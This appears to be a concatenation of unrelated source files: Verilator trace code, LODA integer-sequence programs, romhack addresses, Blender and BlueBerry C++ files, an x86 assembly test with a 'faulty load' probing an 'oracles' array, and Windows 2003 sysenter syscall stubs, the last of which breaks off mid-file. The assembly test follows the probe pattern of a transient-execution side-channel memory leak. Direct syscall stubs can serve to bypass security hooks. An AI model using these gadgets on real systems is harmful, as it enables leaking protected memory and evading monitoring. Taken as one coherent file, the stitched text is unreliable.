vcdp->fullBit (c+370,(vlTOPp->v__DOT__fftram__DOT__SRAM003_ez));
vcdp->fullQuad (c+371,(vlTOPp->v__DOT__fftram__DOT__sram_or_buf[0]),64);
vcdp->fullQuad (c+373,(vlTOPp->v__DOT__fftram__DOT__sram_or_buf[1]),64);
vcdp->fullQuad (c+375,(vlTOPp->v__DOT__fftram__DOT__sram_or_buf[2]),64);
vcdp->fullQuad (c+377,(vlTOPp->v__DOT__fftram__DOT__sram_or_buf[3]),64);
vcdp->fullBus (c+379,(vlTOPp->v__DOT__fftctl__DOT__cycle_num),5);
vcdp->fullBus (c+380,(vlTOPp->v__DOT__fftctl__DOT__out2_offset),4);
vcdp->fullBit (c+381,(vlTOPp->v__DOT__fftram__DOT__SRAM000_wz));
vcdp->fullBit (c+382,(vlTOPp->v__DOT__fftram__DOT__SRAM001_wz));
vcdp->fullBit (c+383,(vlTOPp->v__DOT__fftram__DOT__SRAM002_wz));
vcdp->fullBit (c+384,(vlTOPp->v__DOT__fftram__DOT__SRAM003_wz));
vcdp->fullBus (c+385,(vlTOPp->v__DOT__cycle_counter),32);
vcdp->fullBus (c+387,(vlTOPp->v__DOT__BFLY0_access_type),3);
vcdp->fullBus (c+389,(vlTOPp->v__DOT__bypass_read),4);
vcdp->fullBit (c+390,(vlTOPp->v__DOT__bufnum[0]));
vcdp->fullBit (c+391,(vlTOPp->v__DOT__bufnum[1]));
vcdp->fullBit (c+392,(vlTOPp->v__DOT__bufnum[2]));
vcdp->fullBit (c+393,(vlTOPp->v__DOT__bufnum[3]));
vcdp->fullBus (c+394,((1U & ((IData)(vlTOPp->v__DOT__BFLY0_op2_ix)
>> 2U))),1);
vcdp->fullBus (c+386,(vlTOPp->v__DOT__BFLY0_op2_ix),3);
vcdp->fullBus (c+388,(vlTOPp->v__DOT__fftctl_cycle_num),5);
vcdp->fullBus (c+395,(vlTOPp->v__DOT__suppress_wz),4);
vcdp->fullBus (c+397,((1U & ((IData)(vlTOPp->v__DOT__BFLY0_op1_ix)
>> 2U))),1);
vcdp->fullBus (c+396,(vlTOPp->v__DOT__BFLY0_op1_ix),3);
vcdp->fullBit (c+399,(vlTOPp->done));
vcdp->fullBit (c+398,(vlTOPp->clk));
vcdp->fullBus (c+400,(vlTOPp->v__DOT__BFLY0__DOT__status_t1),8);
vcdp->fullBus (c+401,(vlTOPp->v__DOT__BFLY0__DOT__status_t1a),8);
vcdp->fullBus (c+402,(vlTOPp->v__DOT__BFLY0__DOT__status_t1b),8);
vcdp->fullBus (c+403,(vlTOPp->v__DOT__BFLY0__DOT__status_t2),8);
vcdp->fullBus (c+404,(vlTOPp->v__DOT__BFLY0__DOT__status_t2a),8);
vcdp->fullBus (c+405,(vlTOPp->v__DOT__BFLY0__DOT__status_t2b),8);
vcdp->fullBus (c+406,(vlTOPp->v__DOT__BFLY0__DOT__status_o1r),8);
vcdp->fullBus (c+407,(vlTOPp->v__DOT__BFLY0__DOT__status_o1i),8);
vcdp->fullBus (c+408,(vlTOPp->v__DOT__BFLY0__DOT__status_o2r),8);
vcdp->fullBus (c+409,(vlTOPp->v__DOT__BFLY0__DOT__status_o2i),8);
vcdp->fullBus (c+411,(0x7fU),9);
vcdp->fullBit (c+412,(0U));
vcdp->fullBit (c+410,(1U));
vcdp->fullBus (c+413,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[0]),3);
vcdp->fullBus (c+414,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[1]),3);
vcdp->fullBus (c+415,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[2]),3);
vcdp->fullBus (c+416,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[3]),3);
vcdp->fullBus (c+417,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[4]),3);
vcdp->fullBus (c+418,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[5]),3);
vcdp->fullBus (c+419,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[6]),3);
vcdp->fullBus (c+420,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[7]),3);
vcdp->fullBus (c+421,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[8]),3);
vcdp->fullBus (c+422,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[9]),3);
vcdp->fullBus (c+423,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[10]),3);
vcdp->fullBus (c+424,(vlTOPp->v__DOT__fftctl__DOT__BFLY0_access_type[11]),3);
}
}
|
; A045895: Period length of pairs (a,b) where a has period 2n-2 and b has period n.
; 0,2,12,12,40,30,84,56,144,90,220,132,312,182,420,240,544,306,684,380,840,462,1012,552,1200,650,1404,756,1624,870,1860,992,2112,1122,2380,1260,2664,1406,2964,1560,3280,1722,3612,1892,3960,2070,4324,2256,4704,2450,5100,2652,5512,2862,5940,3080,6384,3306,6844,3540,7320,3782,7812,4032,8320,4290,8844,4556,9384,4830,9940,5112,10512,5402,11100,5700,11704,6006,12324,6320,12960,6642,13612,6972,14280,7310,14964,7656,15664,8010,16380,8372,17112,8742,17860,9120,18624,9506,19404,9900,20200,10302,21012,10712,21840,11130,22684,11556,23544,11990,24420,12432,25312,12882,26220,13340,27144,13806,28084,14280,29040,14762,30012,15252,31000,15750,32004,16256,33024,16770,34060,17292,35112,17822,36180,18360,37264,18906,38364,19460,39480,20022,40612,20592,41760,21170,42924,21756,44104,22350,45300,22952,46512,23562,47740,24180,48984,24806,50244,25440,51520,26082,52812,26732,54120,27390,55444,28056,56784,28730,58140,29412,59512,30102,60900,30800,62304,31506,63724,32220,65160,32942,66612,33672,68080,34410,69564,35156,71064,35910,72580,36672,74112,37442,75660,38220,77224,39006,78804,39800,80400,40602,82012,41412,83640,42230,85284,43056,86944,43890,88620,44732,90312,45582,92020,46440,93744,47306,95484,48180,97240,49062,99012,49952,100800,50850,102604,51756,104424,52670,106260,53592,108112,54522,109980,55460,111864,56406,113764,57360,115680,58322,117612,59292,119560,60270,121524,61256,123504,62250
mov $1,$0
lpb $0,1
add $0,1
mul $1,$0
mod $0,2
lpe
|
; A024385: a(n) = [ (2nd elementary symmetric function of S(n))/(first elementary symmetric function of S(n)) ], where S(n) = {first n+1 positive integers congruent to 1 mod 4}.
; 0,3,9,16,25,36,49,64,82,101,122,145,170,197,227,258,291,326,363,402,444,487,532,579,628,679,733,788,845,904,965,1028,1094,1161,1230,1301,1374,1449,1527,1606,1687,1770,1855,1942
mov $1,$0
add $1,4
div $1,6
mov $2,$0
mul $2,2
add $1,$2
mov $3,$0
mul $3,$0
add $1,$3
|
; A032635: a(n) = floor(n^2 / e).
; 0,0,1,3,5,9,13,18,23,29,36,44,52,62,72,82,94,106,119,132,147,162,178,194,211,229,248,268,288,309,331,353,376,400,425,450,476,503,531,559,588,618,648,680,712,744,778,812,847,883,919,956,994,1033,1072
pow $0,2
mov $2,32
mul $2,$0
mov $0,$2
div $0,87
mul $0,2
mov $1,$0
div $1,2
|
copyright zengfr site:http://github.com/zengfr/romhack
007958 move.b D0, ($98,A0)
00795C move.b #$2, ($2a,A0)
00808A bmi $80ca
0080EE sub.w D0, ($82,A1)
011ABA move.b D0, ($98,A0)
011ABE move.w #$101, (A0)
012122 bpl $12162
01A74C dbra D7, $1a74a
01A75E dbra D4, $1a75c
copyright zengfr site:http://github.com/zengfr/romhack
|
/*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software Foundation,
* Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*
* The Original Code is Copyright (C) 2020 Blender Foundation
* All rights reserved.
*/
#pragma once
/** \file
* \ingroup bgpencil
*/
#include "gpencil_io_base.hh"
namespace blender::io::gpencil {
class GpencilExporter : public GpencilIO {
public:
GpencilExporter(const struct GpencilIOParams *iparams) : GpencilIO(iparams){};
virtual bool write() = 0;
protected:
private:
};
} // namespace blender::io::gpencil
|
; A349454: Number T(n,k) of endofunctions on [n] with exactly k fixed points, all of which are isolated; triangle T(n,k), n>=0, 0<=k<=n, read by rows.
; Submitted by Christian Krause
; 1,0,1,1,0,1,8,3,0,1,81,32,6,0,1,1024,405,80,10,0,1,15625,6144,1215,160,15,0,1,279936,109375,21504,2835,280,21,0,1,5764801,2239488,437500,57344,5670,448,28,0,1,134217728,51883209,10077696,1312500,129024,10206,672,36,0,1,3486784401,1342177280,259416045,33592320,3281250,258048,17010,960,45,0,1,100000000000,38354628411,7381975040,951192165,92378880,7218750,473088,26730,1320,55,0,1,3138428376721,1200000000000,230127770466,29527900160,2853576495,221709312,14437500,811008,40095,1760,66,0,1
lpb $0
add $1,1
sub $0,$1
mov $2,$1
sub $2,$0
lpe
bin $1,$0
mov $0,-1
add $0,$2
pow $0,$2
mul $1,$0
mov $0,$1
|
/*===================================================================
BlueBerry Platform
Copyright (c) German Cancer Research Center,
Division of Medical and Biological Informatics.
All rights reserved.
This software is distributed WITHOUT ANY WARRANTY; without
even the implied warranty of MERCHANTABILITY or FITNESS FOR
A PARTICULAR PURPOSE.
See LICENSE.txt or http://www.mitk.org for details.
===================================================================*/
#include "berryEditorSite.h"
#include "berryPartPane.h"
#include <cassert>
namespace berry
{
std::string EditorSite::GetInitialScopeId()
{
return "org.blueberry.ui.textEditorScope"; //$NON-NLS-1$
}
EditorSite::EditorSite(IEditorReference::Pointer ref,
IEditorPart::Pointer editor, WorkbenchPage* page,
EditorDescriptor::Pointer d)
: PartSite(ref, editor, page), desc(d)
{
assert(!desc.IsNull());
if (!desc->GetConfigurationElement().IsNull())
{
this->SetConfigurationElement(desc->GetConfigurationElement());
}
else
{
// system external and in-place editors do not have a corresponding configuration element
this->SetId(desc->GetId());
this->SetRegisteredName(desc->GetLabel());
}
// Initialize the services specific to this editor site.
//initializeDefaultServices();
}
IEditorPart::Pointer EditorSite::GetEditorPart()
{
return this->GetPart().Cast<IEditorPart>();
}
EditorDescriptor::Pointer EditorSite::GetEditorDescriptor()
{
return desc;
}
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r12
push %r13
push %r8
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
lea addresses_WT_ht+0x1ac98, %rsi
lea addresses_UC_ht+0x222c, %rdi
nop
nop
nop
nop
add $16345, %r8
mov $12, %rcx
rep movsw
nop
nop
nop
nop
cmp %r8, %r8
lea addresses_UC_ht+0xea3c, %rsi
lea addresses_D_ht+0x11304, %rdi
nop
nop
nop
nop
xor %rbx, %rbx
mov $74, %rcx
rep movsb
nop
nop
nop
nop
dec %rdi
lea addresses_UC_ht+0xa3a4, %r12
nop
nop
nop
nop
dec %r13
movups (%r12), %xmm5
vpextrq $0, %xmm5, %rcx
nop
sub %r13, %r13
lea addresses_normal_ht+0x272b, %r8
and %rsi, %rsi
movb $0x61, (%r8)
nop
nop
nop
xor %rsi, %rsi
lea addresses_normal_ht+0x1e23c, %rsi
nop
nop
nop
and $1441, %r13
mov (%rsi), %rdi
nop
nop
nop
nop
xor %rsi, %rsi
lea addresses_WT_ht+0x639c, %rsi
lea addresses_A_ht+0x4b3c, %rdi
nop
nop
nop
nop
nop
add %r12, %r12
mov $89, %rcx
rep movsw
nop
nop
nop
nop
add $51300, %rsi
lea addresses_UC_ht+0xed4c, %r12
nop
nop
cmp $13219, %rdi
movb $0x61, (%r12)
nop
nop
nop
nop
cmp $45917, %r13
lea addresses_A_ht+0x1c8ac, %rsi
lea addresses_D_ht+0x1d23c, %rdi
nop
and $4729, %rax
mov $75, %rcx
rep movsw
nop
dec %r8
lea addresses_UC_ht+0x16a2, %rsi
nop
inc %rdi
movw $0x6162, (%rsi)
nop
nop
nop
nop
nop
add %r8, %r8
lea addresses_WC_ht+0x165a0, %r13
sub $61010, %rdi
movb (%r13), %al
nop
nop
nop
nop
dec %rbx
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r8
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r11
push %r12
push %r8
push %rax
push %rbp
push %rdi
push %rsi
// Store
lea addresses_D+0x21fc, %r8
nop
nop
and $62724, %rdi
mov $0x5152535455565758, %rbp
movq %rbp, (%r8)
nop
sub %r12, %r12
// Load
mov $0x1fc, %rsi
nop
nop
nop
nop
nop
add %rdi, %rdi
mov (%rsi), %r12w
xor $58150, %r12
// Faulty Load
lea addresses_RW+0xfa3c, %r8
nop
nop
nop
xor %r11, %r11
vmovaps (%r8), %ymm0
vextracti128 $0, %ymm0, %xmm0
vpextrq $0, %xmm0, %rsi
lea oracles, %r12
and $0xff, %rsi
shlq $12, %rsi
mov (%r12,%rsi,1), %rsi
pop %rsi
pop %rdi
pop %rbp
pop %rax
pop %r8
pop %r12
pop %r11
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_RW', 'same': False, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_D', 'same': True, 'size': 8, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_P', 'same': False, 'size': 2, 'congruent': 6, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_RW', 'same': True, 'size': 32, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_WT_ht', 'congruent': 2, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 2, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 3, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_normal_ht', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_normal_ht', 'same': False, 'size': 8, 'congruent': 7, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'congruent': 5, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_A_ht', 'congruent': 4, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_UC_ht', 'same': False, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
; DO NOT MODIFY THIS FILE DIRECTLY!
; author: @TinySecEx
; shadowssdt asm stub for 5.2.3790-sp2-windows-2003 i386
.686
.mmx
.xmm
.model flat,stdcall
option casemap:none
option prologue:none
option epilogue:none
.code
; ULONG __stdcall NtGdiAbortDoc( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiAbortDoc PROC STDCALL arg_01:DWORD
mov eax , 4096
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiAbortDoc ENDP
; ULONG __stdcall NtGdiAbortPath( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiAbortPath PROC STDCALL arg_01:DWORD
mov eax , 4097
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiAbortPath ENDP
; ULONG __stdcall NtGdiAddFontResourceW( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiAddFontResourceW PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4098
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiAddFontResourceW ENDP
; ULONG __stdcall NtGdiAddRemoteFontToDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiAddRemoteFontToDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4099
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiAddRemoteFontToDC ENDP
; ULONG __stdcall NtGdiAddFontMemResourceEx( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 );
_5_2_3790_sp2_windows_2003_NtGdiAddFontMemResourceEx PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD
mov eax , 4100
call _label_sysenter
ret 20
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiAddFontMemResourceEx ENDP
; ULONG __stdcall NtGdiRemoveMergeFont( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiRemoveMergeFont PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4101
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiRemoveMergeFont ENDP
; ULONG __stdcall NtGdiAddRemoteMMInstanceToDC( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
_5_2_3790_sp2_windows_2003_NtGdiAddRemoteMMInstanceToDC PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD
mov eax , 4102
call _label_sysenter
ret 12
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiAddRemoteMMInstanceToDC ENDP
; ULONG __stdcall NtGdiAlphaBlend( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 , ULONG arg_12 );
_5_2_3790_sp2_windows_2003_NtGdiAlphaBlend PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD , arg_12:DWORD
mov eax , 4103
call _label_sysenter
ret 48
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiAlphaBlend ENDP
; ULONG __stdcall NtGdiAngleArc( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiAngleArc PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4104
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiAngleArc ENDP
; ULONG __stdcall NtGdiAnyLinkedFonts( );
_5_2_3790_sp2_windows_2003_NtGdiAnyLinkedFonts PROC STDCALL
mov eax , 4105
call _label_sysenter
ret
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiAnyLinkedFonts ENDP
; ULONG __stdcall NtGdiFontIsLinked( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiFontIsLinked PROC STDCALL arg_01:DWORD
mov eax , 4106
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiFontIsLinked ENDP
; ULONG __stdcall NtGdiArcInternal( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 );
_5_2_3790_sp2_windows_2003_NtGdiArcInternal PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD
mov eax , 4107
call _label_sysenter
ret 40
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiArcInternal ENDP
; ULONG __stdcall NtGdiBeginPath( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiBeginPath PROC STDCALL arg_01:DWORD
mov eax , 4108
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiBeginPath ENDP
; ULONG __stdcall NtGdiBitBlt( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 , ULONG arg_09 , ULONG arg_10 , ULONG arg_11 );
_5_2_3790_sp2_windows_2003_NtGdiBitBlt PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD , arg_09:DWORD , arg_10:DWORD , arg_11:DWORD
mov eax , 4109
call _label_sysenter
ret 44
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiBitBlt ENDP
; ULONG __stdcall NtGdiCancelDC( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiCancelDC PROC STDCALL arg_01:DWORD
mov eax , 4110
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCancelDC ENDP
; ULONG __stdcall NtGdiCheckBitmapBits( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 , ULONG arg_07 , ULONG arg_08 );
_5_2_3790_sp2_windows_2003_NtGdiCheckBitmapBits PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD , arg_07:DWORD , arg_08:DWORD
mov eax , 4111
call _label_sysenter
ret 32
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCheckBitmapBits ENDP
; ULONG __stdcall NtGdiCloseFigure( ULONG arg_01 );
_5_2_3790_sp2_windows_2003_NtGdiCloseFigure PROC STDCALL arg_01:DWORD
mov eax , 4112
call _label_sysenter
ret 4
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCloseFigure ENDP
; ULONG __stdcall NtGdiClearBitmapAttributes( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiClearBitmapAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4113
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiClearBitmapAttributes ENDP
; ULONG __stdcall NtGdiClearBrushAttributes( ULONG arg_01 , ULONG arg_02 );
_5_2_3790_sp2_windows_2003_NtGdiClearBrushAttributes PROC STDCALL arg_01:DWORD , arg_02:DWORD
mov eax , 4114
call _label_sysenter
ret 8
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiClearBrushAttributes ENDP
; ULONG __stdcall NtGdiColorCorrectPalette( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 , ULONG arg_05 , ULONG arg_06 );
_5_2_3790_sp2_windows_2003_NtGdiColorCorrectPalette PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD , arg_05:DWORD , arg_06:DWORD
mov eax , 4115
call _label_sysenter
ret 24
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiColorCorrectPalette ENDP
; ULONG __stdcall NtGdiCombineRgn( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 , ULONG arg_04 );
_5_2_3790_sp2_windows_2003_NtGdiCombineRgn PROC STDCALL arg_01:DWORD , arg_02:DWORD , arg_03:DWORD , arg_04:DWORD
mov eax , 4116
call _label_sysenter
ret 16
_label_sysenter:
mov edx , esp
;sysenter
db 0Fh , 34h
ret
_5_2_3790_sp2_windows_2003_NtGdiCombineRgn ENDP
; ULONG __stdcall NtGdiCombineTransform( ULONG arg_01 , ULONG arg_02 , ULONG arg_03 );
